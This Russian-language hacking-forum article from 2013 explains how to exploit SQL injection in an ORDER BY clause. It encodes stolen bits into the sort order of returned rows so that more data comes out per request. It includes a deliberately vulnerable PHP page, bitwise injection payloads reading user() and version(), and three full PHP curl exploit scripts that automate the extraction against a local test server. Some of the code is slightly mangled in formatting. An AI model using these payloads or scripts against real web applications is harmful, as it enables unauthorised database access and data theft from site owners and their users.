Инъекция в ORDER BY: Второе дыхание

2013-09-24T00:00:00
ID RDOT:2865
Type rdot
Reporter NameSpace
Modified 2013-09-24T00:00:00

Description

Почему-то у многих людей сложилось мнение, что инъекция в order by раскручивается или через time-based, или как boolean-based. Но, это совсем не так.

INTRO


ORDER BY
употребляется для сортировки выборки по одной или несколькими колонками (обычно по возрастанию или убыванию, но не только):

PHP код:

... order by password_date desc, name asc, 6 asc; # Делаем 1, 2-ю сортировку по имени колонки, 3-ю по номеру колонки в выводе

Еще есть вариант с заглушкой:

PHP код:

... order by null;

Примеры эксплуатации инъекций с форума:

Цитата:

(if((substring(version(),1,1)=5),1,(select 1 union select 2)))
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))


Мы видим 1 запрос на один бит данных, это очень и очень мало. Сегодня мы рассмотрим теорию и практику более приемлемого вывода!

Теория

Раз ORDER BY употребляется для сортировки списка, то на страницу обычно выводится список, а точнее, его обрезанная часть. Например 20 записей выводится на страницу, всего в таблице 100 записей.

ORDER BY позволяет использовать для сортировки выражения (возвращающие число/строку для каждой записи). Пример:

PHP код:

... order by rand(); # Так
... order by (rand()) asc; # И даже так (в данном случае навороты смысла не имеет)

Соответственно мы можем расставить эти 100 записей на эти 20 мест абсолютно по разному, и тем самым, выводить больше информации за один раз.

Я подразумеваю случай, когда каждый запрос выполняется на разных сессиях (99%).

В лучшем варианте при выводе 20 записей и их заполнении 20 уникальными значениями число возможных комбинаций равно:

Код:

(defun factorial (n)
  (if (= n 0)
      1
      (* (factorial (- n 1)) n)))

(20!) => (integer-length (factorial 20)) => 62 => (61) bit

То есть 7 символов за 1 раз. Предложим, что записей 100, а не 20:

Код:

100!/(100-20)! => (integer-length (/ (factorial 100) (factorial (+ 100 -20)))) => 130 bit

Это около 16 символов за раз! Никак не 1 символ за 8 раз, как в первом случае. Напишем уязвимый скрипт:

PHP код:

<?php
mysql_connect('127.0.0.1', 'root');

$result = mysql_query('
select COLLATION_NAME from information_schema.COLLATIONS
WHERE IS_COMPILED = "Yes"
ORDER BY '.$_REQUEST['name']);

for($i=0;($i < 20 && $row = mysql_fetch_array($result)); ++$i) {
echo $row[0]."<br>\n";
}

mysql_close();
?>

Я взял information_schema.COLLATIONS для тестов (на реальном хосте инъекция могла бы быть в новостях, юзерах), чтобы все смогли у себя повторить процесс.

В ней больше, чем 100 записей, однако мы будем использовать только первую сотню. На стороне клиента надо будет заранее получить эти 100 записей...

Нам повезло что все записи пронумерованы по ID, пока воспользуемся этим:

PHP код:

+----+-------------------+
| id | COLLATION_NAME |
+----+-------------------+
| 1 | big5_chinese_ci |
| 2 | latin2_czech_cs |
| 3 | dec8_swedish_ci |
| 4 | cp850_general_ci |
| 5 | latin1_german1_ci |
| 6 | hp8_english_ci |
| 7 | koi8r_general_ci |
| 8 | latin1_swedish_ci |
| 9 | latin2_general_ci |
| 10 | swe7_swedish_ci |
+----+-------------------+

Использовать весь потенциал достаточно затруднительно, начнем с малого, лучше что-то, чем ничего...

Блин №1

Суть происходящего:

Слева данные из таблицы. Справа то, что мы получаем. Изначально мы ставим первый элемент на первую позицию, со второго элемента начинаем побитовое считывание выводимых данных. Если бит равен нулю, то позиции будут отрицательными, если 1 - положительными.

При считывании мы находим первый элемент, от него ищем все оставшиеся. Элегантно и просто. За 10 строк вывода мы можем передать 9 бит информации, что немного больше одного символа...

Реализация. Вывод одного символа.

Код:

mysql&gt; select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id &lt; 10, if(id=1,1,(
            if(
                ascii(mid(user(),1,1)) & pow (2, (id-2)) &gt; 0, 
                    # pow - возведение 2 в степень для получения необходимого числа:
                    #     2^0 = 1 = 00000001
                    #    2^1 = 2 = 00000010
                    #    2^2 = 4 = 00000100
                    # Также для этих целей можно использовать побитовый сдвиг
                    #    он и короче, но символы &lt; и &gt; могут фильтроваться
                    #        (Выше они используются для упрощения)
                    # 1 &lt;&lt; 4 = 16         # (SELECT 4) &gt;&gt; (SELECT 1) = 2
                id, -id
        ))), 1000) LIMIT 9;
+----+-------------------+
| id | COLLATION_NAME    |
+----+-------------------+
|  9 | latin2_general_ci |
|  5 | latin1_german1_ci |
|  3 | dec8_swedish_ci   |
|  2 | latin2_czech_cs   |
|  1 | big5_chinese_ci   |
|  4 | cp850_general_ci  |
|  6 | hp8_english_ci    |
|  7 | koi8r_general_ci  |
|  8 | latin1_swedish_ci |
+----+-------------------+
9 rows in set (0.00 sec)

mysql&gt; SELECT user();
+----------------+
| user()         |
+----------------+
| test@localhost |
+----------------+
1 row in set (0.00 sec)

00101110 => t

В лучших традициях на PHP набросаем эксплоит:

PHP код:

<?php
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => True,
CURLOPT_ENCODING => 'gzip, deflate',
));

$url = 'http://127.0.0.1/inj.php?name=';
$query = 'concat(user(),0x3A,version())';

for($i=1; $i <= 100; ++$i) {
curl_setopt($ch, CURLOPT_URL, $url.urlencode("if(id<10,if(id=1,1,(if(ascii(mid(({$query}),{$i},1))&pow(2,(id-2))>0,id,-id))),99)"));
echo ocr(curl_exec($ch));
}
function ocr ($res) {
$res = explode("<br>\n", $res);
$start_array = array(
'big5_chinese_ci', // 1
'latin2_czech_cs', // 2
'dec8_swedish_ci', // 3
'cp850_general_ci', // 4
'latin1_german1_ci', // 5
'hp8_english_ci', // 6
'koi8r_general_ci', // 7
'latin1_swedish_ci', // 8
'latin2_general_ci' // 9
);
$count = count($start_array);
$main = array_search($start_array[0], $res);

$ord = 0;

for($i=1; $i < $count; ++$i) {
$needle = array_search($start_array[$i], $res);
if($needle > $main) {
$ord |= pow(2, $i-1);
}
}
return chr($ord);
}
curl_close($ch);
?>

Запускаем, и вуаля:

Код:

root@localhost:5.5

За 1 запрос по 1 символу (8 бит), но, надо усовершенствовать вариант, чтобы скрипт возвращал n-1 бит на n строк вывода (а не только первый символ). Здесь нас ожидает первый сюрприз, часть записей отсутствует:

Код:

mysql&gt; select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` ORDER BY id LIMIT 20;
+----+---------------------+
| id | COLLATION_NAME      |
+----+---------------------+
|  1 | big5_chinese_ci     |
|  2 | latin2_czech_cs     |
|  3 | dec8_swedish_ci     |
|  4 | cp850_general_ci    |
|  5 | latin1_german1_ci   |
|  6 | hp8_english_ci      |
|  7 | koi8r_general_ci    |
|  8 | latin1_swedish_ci   |
|  9 | latin2_general_ci   |
| 10 | swe7_swedish_ci     |
| 11 | ascii_general_ci    |
| 12 | ujis_japanese_ci    |
| 13 | sjis_japanese_ci    |
| 14 | cp1251_bulgarian_ci |
| 15 | latin1_danish_ci    |
| 16 | hebrew_general_ci   |
| 18 | tis620_thai_ci      |
| 19 | euckr_korean_ci     |
| 20 | latin7_estonian_cs  |
| 21 | latin2_hungarian_ci |
+----+---------------------+
20 rows in set (0.00 sec)

17-ой записи нет, еще проблема усугубляется тем, что мы не можем инициализировать и начать использовать переменную запросе:

Код:

mysql&gt; select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Инициализация
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci | NULL    |
+-----------------+---------+

mysql&gt; select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Использование №2
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci |       0 |
+-----------------+---------+

Займемся символами: при каждом запросе нам надо передавать новые смещения, и при этом ничего не терять:

В первой колонке номер бита, во второй ID, для которого необходимо возвратить номер в выдаче. Третья - биты, в прямом или обратном порядке. Начнем с id. Его надо привести к нормальному виду:

Код:

# Было
id-2: (-1 Для служебной записи, и еще -1 чтобы pow возвращал все относительно 0, в данном случае это: 
    id 2  = 0
    id 3  = 1
    id 4  = 2
    ...
    id 16 = 14 
    id 18 = 16 // Проблема
# Стало:
id-2-(id&gt;16):
    ...
    id 16 = 14 
    id 18 = 15 // Все верно
    id 19 = 16

Решим, как организовать переход между символами, чтобы в каждом запросе мы могли начать с любой позиции. Второй запрос надо начать с 4-ого бита 3-го символа (все это относительно id и внешнего числа):

Код:

    # Номер символа:
        ((19 + id) div 8) + 1

        id - Аргумент (число организующие вывод разных битов)
        19 - Смещение в битах относительно 0, для изменения в запросах (От 0, 
                            возможно с учетом погрешностей в ID для уменьшения длины выражения, 
                            то есть легче вычесть к примеру 2 из него, 
                            чем посылать запись 19+id-2...
                             )
        7   =&gt; id=9  =&gt; ((0 +  9 - 2) div 8) + 1
        14  =&gt; id=16 =&gt; ((0 + 16 - 2) div 8) + 1

    # Номер бита:
        pos mod 8 или pos % 8

    0  % 8 = 0
    7  % 8 = 7
    26 % 8 = 2

Вернемся в мир SQL:

Код:

# Номер бита:
    (pos+id-(id&gt;16))%8

# Номер символа: 
    (pos+id-(id&gt;16))div 8 + 1

    Где pos - разница смещения и двух. Для первого запроса смещение 0-2 = -2, для второго - 19-2 = 17 и т.д.

# Запрос:
mysql&gt; select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id &lt; 22, if(id=1,1,(
            if(
                ascii(mid(user(),(
                    (__POS__+id-(id&gt;16))div 8 + 1
                ),1)) & pow (2, (__POS__+id-(id&gt;16))%8) &gt; 0, 
                id, -id
        ))), 1000) LIMIT 20;

Работает! Доработаем наш сплоит:

PHP код:

<?php
class net {
private $curl;

public $url = 'http://127.0.0.1/inj.php?name='; // URL сайта

/ Массив вариантов по запросу /
public function getSiteArr($query) {
$url = $this->url.urlencode($query);

curl_setopt($this->curl, CURLOPT_URL, $url);
$res = curl_exec($this->curl);

$res = explode("<br>\n", $res);
unset($res[20]);

return $res;
}
public function construct() {
$this->curl = curl_init();
curl_setopt_array($this->curl, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => 'gzip, deflate',
));
}
public function
destruct() {
curl_close($this->curl);
}
}
class bit {
private $bitarr = array();

public $countReal = 0;
public $countAll = 0;

private $callback;

public function __construct($callback) {
$this->callback = &$callback; // Функция, вызывающаяся при получении символа
}

/ Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа /
private function check() {
if($this->countReal < 8)
return;

$this->countReal -= 8;

/ Формируем символ /
$ascii = 0;

for($i=0; $i < 8; ++$i) {
if($this->bitarr[$this->countAll + $i - 8] == true)
$ascii |= 1 << $i;
}

/ Отдаем символ/
call_user_func($this->callback, chr($ascii));
/ Повторный вызов /
$this->check();
}
/ Инкремент /
private function inc() {
$this->countReal++;

return $this->countAll++;
}

/ Добавить новый бит/
public function addBit($bit) {
$this->bitarr[$this->inc()] = (bool)$bit;

$this->check();
}

}
class sql {
public $main_query = 'concat(user(),0x3A,version())';
private $query = 'if(id < 22, if(id=1,1,(
if(
ascii(mid((%s),(
(%d+id-(id>16))div(8) + 1
),1)) & pow (2, (%d+id-(id>16))%%8) > 0,
id, -id
))), 99)'; // Запрос

private $space = array("\r", "\n", "\t", " "); // Удаляемые символы

private $arr = array(); // Массив с заранее выбранными значениями
private $count = 0;

// Либы:
private $net;
private $bit;

/ Инициализация /
public function __construct($arr, $net, $bit) {
$this->query = str_replace($this->space, '', $this->query);

$this->arr = $arr;
$this->count = count($arr);

$this->net = &$net;
$this->bit = &$bit;
}
/ Инжектинг /
public function start() {
for($i=0; true; $i += $this->count-1) {
$POS = $i - 2;
$query = sprintf($this->query, $this->main_query, $POS, $POS);

$this->get($query);
}
}
/ Разбор массива с данными сайта/
private function get($query) {

$arr = $this->net->getSiteArr($query);

$main = array_search($this->arr[0], $arr);

for ($i=1; $i < $this->count; ++$i) {
$needle = array_search($this->arr[$i], $arr); // Ищем значение в массиве

$this->bit->addBit($needle > $main); // Узнаем, до или первой записи оно расположено
}
}
}
$net = new net;
$bit = new bit(function($char) {
echo $char;
});

$sql = new sql(array( // 20
'big5_chinese_ci',
'latin2_czech_cs',
'dec8_swedish_ci',
'cp850_general_ci',
'latin1_german1_ci',
'hp8_english_ci',
'koi8r_general_ci',
'latin1_swedish_ci',
'latin2_general_ci',
'swe7_swedish_ci',
'ascii_general_ci',
'ujis_japanese_ci',
'sjis_japanese_ci',
'cp1251_bulgarian_ci',
'latin1_danish_ci',
'hebrew_general_ci',
'tis620_thai_ci',
'euckr_korean_ci',
'latin7_estonian_cs',
'latin2_hungarian_ci',
), $net, $bit);
$sql->start();
?>

Ура, данные приходят еще быстрее!

Блин №2

Если детально присмотреться к схеме, можно заметить, что можно восстановить исходную последовательность просто не получая первую или вторую половину. После пары правок мы можем ускорить скрипт еще в несколько раз.

    • В среднем на n строк вывода мы получаем 2n битов вывода, а не n-1
    • Мы получим сжатие, если будем выводить первую или последнюю половину данных так-как в зависимости от содержимого 0 может встречаться как заметно чаще 1, так и реже. Отсутствующие записи: 17, 56, 62, 76, ...

SQL:

Код:

select (-1+id-(id&gt;16)-(id&gt;55)-(id&gt;76)-(id&gt;100)) as i, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(
                ascii(mid(user(),(
                    (-1+id-(id&gt;16)-(id&gt;55)-(id&gt;61)-(id&gt;76)-(id&gt;100))div 8 + 1
                ),1)) & pow (2, (-1+id-(id&gt;16)-(id&gt;61)-(id&gt;55)-(id&gt;76)-(id&gt;100))%8) &gt; 0, 
                id, 9e9 # Универсальный способ задания большого значения
        ) LIMIT 20;
+----+---------------------+
| i  | COLLATION_NAME      |
+----+---------------------+
|  2 | dec8_swedish_ci     |
|  4 | latin1_german1_ci   |
|  5 | hp8_english_ci      |
|  6 | koi8r_general_ci    |
|  8 | latin2_general_ci   |
| 10 | ascii_general_ci    |
| 13 | cp1251_bulgarian_ci |
| 14 | latin1_danish_ci    |
| 16 | tis620_thai_ci      |
| 17 | euckr_korean_ci     |
| 20 | koi8u_general_ci    |
| 21 | cp1251_ukrainian_ci |
| 22 | gb2312_chinese_ci   |
| 26 | gbk_chinese_ci      |
| 28 | latin5_turkish_ci   |
| 29 | latin1_german2_ci   |
| 30 | armscii8_general_ci |
| 38 | cp852_general_ci    |
| 42 | cp1250_croatian_ci  |
| 43 | utf8mb4_general_ci  |
+----+---------------------+

Yep!

PHP код:

<?php
class net {
private $curl;

public $url = 'http://127.0.0.1/inj.php?name='; // URL сайта

/ Массив вариантов по запросу /
public function getSiteArr($query) {
$url = $this->url.urlencode($query);

curl_setopt($this->curl, CURLOPT_URL, $url);
$res = curl_exec($this->curl);

$res = explode("<br>\n", $res);
unset($res[20]);

return $res;
}
public function construct() {
$this->curl = curl_init();
curl_setopt_array($this->curl, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => 'gzip, deflate',
));
}
public function
destruct() {
curl_close($this->curl);
}
}
class bit {
private $bitarr = array();

public $countReal = 0;
public $countAll = 0;

private $callback;

public function __construct($callback) {
$this->callback = &$callback; // Функция, вызывающаяся при получении символа
}

/ Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа /
private function check() {
if($this->countReal < 8)
return;

$this->countReal -= 8;

/ Формируем символ /
$ascii = 0;

for($i=0; $i < 8; ++$i) {
if($this->bitarr[$this->countAll + $i - 8] == true)
$ascii |= 1 << $i;
}

/ Отдаем символ/
call_user_func($this->callback, chr($ascii));
/ Повторный вызов /
$this->check();
}
/ Инкремент /
private function inc() {
$this->countReal++;

return $this->countAll++;
}

/ Добавить новый бит/
public function addBit($bit) {
$this->bitarr[$this->inc()] = (bool)$bit;

$this->check();
}

}
class sql {
public $main_query = 'concat(user(),0x3A,version())';
private $query = 'if(
ascii(mid((%s),(
(%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div(8) + 1
),1)) & pow (2, (%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))%%8) > 0,
id, 9e9
)'; // Запрос

public $viewCount = 20;

private $space = array("\r", "\n", "\t", " "); // Удаляемые символы

private $arr = array(); // Массив с заранее выбранными значениями
private $count = 0;

// Либы:
private $net;
private $bit;

/ Инициализация /
public function __construct($arr, $net, $bit) {
$this->query = str_replace($this->space, '', $this->query);

$this->arr = $arr;
$this->count = count($arr);

$this->net = &$net;
$this->bit = &$bit;
}
/ Инжектинг /
public function start() {
for($i=0; $i/8 < 60; $i = $this->bit->countAll) {
$POS = $i - 1;
$query = sprintf($this->query, $this->main_query, $POS, $POS);
$this->get($query);
}
}
/ Разбор массива с данными сайта/
private function get($query) {

$arr = $this->net->getSiteArr($query);

for ($i=0; $i < $this->viewCount; ++$i) {
$needle = array_search($this->arr[$i], $arr); // Ищем значение в массиве
$this->bit->addBit($needle !== false);
}
}
}
$net = new net;
$bit = new bit(function($char) {
echo $char;
});

$sql = new sql(
// 119
array('big5_chinese_ci', 'latin2_czech_cs', 'dec8_swedish_ci', 'cp850_general_ci', 'latin1_german1_ci', 'hp8_english_ci', 'koi8r_general_ci', 'latin1_swedish_ci', 'latin2_general_ci', 'swe7_swedish_ci', 'ascii_general_ci', 'ujis_japanese_ci', 'sjis_japanese_ci', 'cp1251_bulgarian_ci', 'latin1_danish_ci', 'hebrew_general_ci', 'tis620_thai_ci', 'euckr_korean_ci', 'latin7_estonian_cs', 'latin2_hungarian_ci', 'koi8u_general_ci', 'cp1251_ukrainian_ci', 'gb2312_chinese_ci', 'greek_general_ci', 'cp1250_general_ci', 'latin2_croatian_ci', 'gbk_chinese_ci', 'cp1257_lithuanian_ci', 'latin5_turkish_ci', 'latin1_german2_ci', 'armscii8_general_ci', 'utf8_general_ci', 'cp1250_czech_cs', 'ucs2_general_ci', 'cp866_general_ci', 'keybcs2_general_ci', 'macce_general_ci', 'macroman_general_ci', 'cp852_general_ci', 'latin7_general_ci', 'latin7_general_cs', 'macce_bin', 'cp1250_croatian_ci', 'utf8mb4_general_ci', 'utf8mb4_bin', 'latin1_bin', 'latin1_general_ci', 'latin1_general_cs', 'cp1251_bin', 'cp1251_general_ci', 'cp1251_general_cs', 'macroman_bin', 'utf16_general_ci', 'utf16_bin', 'cp1256_general_ci', 'cp1257_bin', 'cp1257_general_ci', 'utf32_general_ci', 'utf32_bin', 'binary', 'armscii8_bin', 'ascii_bin', 'cp1250_bin', 'cp1256_bin', 'cp866_bin', 'dec8_bin', 'greek_bin', 'hebrew_bin', 'hp8_bin', 'keybcs2_bin', 'koi8r_bin', 'koi8u_bin', 'latin2_bin', 'latin5_bin', 'latin7_bin', 'cp850_bin', 'cp852_bin', 'swe7_bin', 'utf8_bin', 'big5_bin', 'euckr_bin', 'gb2312_bin', 'gbk_bin', 'sjis_bin', 'tis620_bin', 'ucs2_bin', 'ujis_bin', 'geostd8_general_ci', 'geostd8_bin', 'latin1_spanish_ci', 'cp932_japanese_ci', 'cp932_bin', 'eucjpms_japanese_ci', 'eucjpms_bin', 'cp1250_polish_ci', 'utf16_unicode_ci', 'utf16_icelandic_ci', 'utf16_latvian_ci', 'utf16_romanian_ci', 'utf16_slovenian_ci', 'utf16_polish_ci', 'utf16_estonian_ci', 'utf16_spanish_ci', 'utf16_swedish_ci', 'utf16_turkish_ci', 'utf16_czech_ci', 'utf16_danish_ci', 'utf16_lithuanian_ci', 'utf16_slovak_ci', 'utf16_spanish2_ci', 'utf16_roman_ci', 'utf16_persian_ci', 'utf16_esperanto_ci', 'utf16_hungarian_ci', 'utf16_sinhala_ci', 'ucs2_unicode_ci', 'ucs2_icelandic_ci', 'ucs2_latvian_ci', 'ucs2_romanian_ci'),
$net, $bit);
$sql->start();

Полную перестановку мы так и не задействовали, плохая поддержка переменных сильно мешает, например:

На первый взгляд эта схема работает, однако ограничить вывод после сбора N-ного числа записей очень сложно и на странице мы видим только верхнюю двадцатку.

END

Тема новая, исследований нет - есть куда продвигаться. Для макетов был использован LibreOffice Draw. Также есть варианты вывода с использованием возможности передачи нескольких параметров(через запятую) в ORDER BY.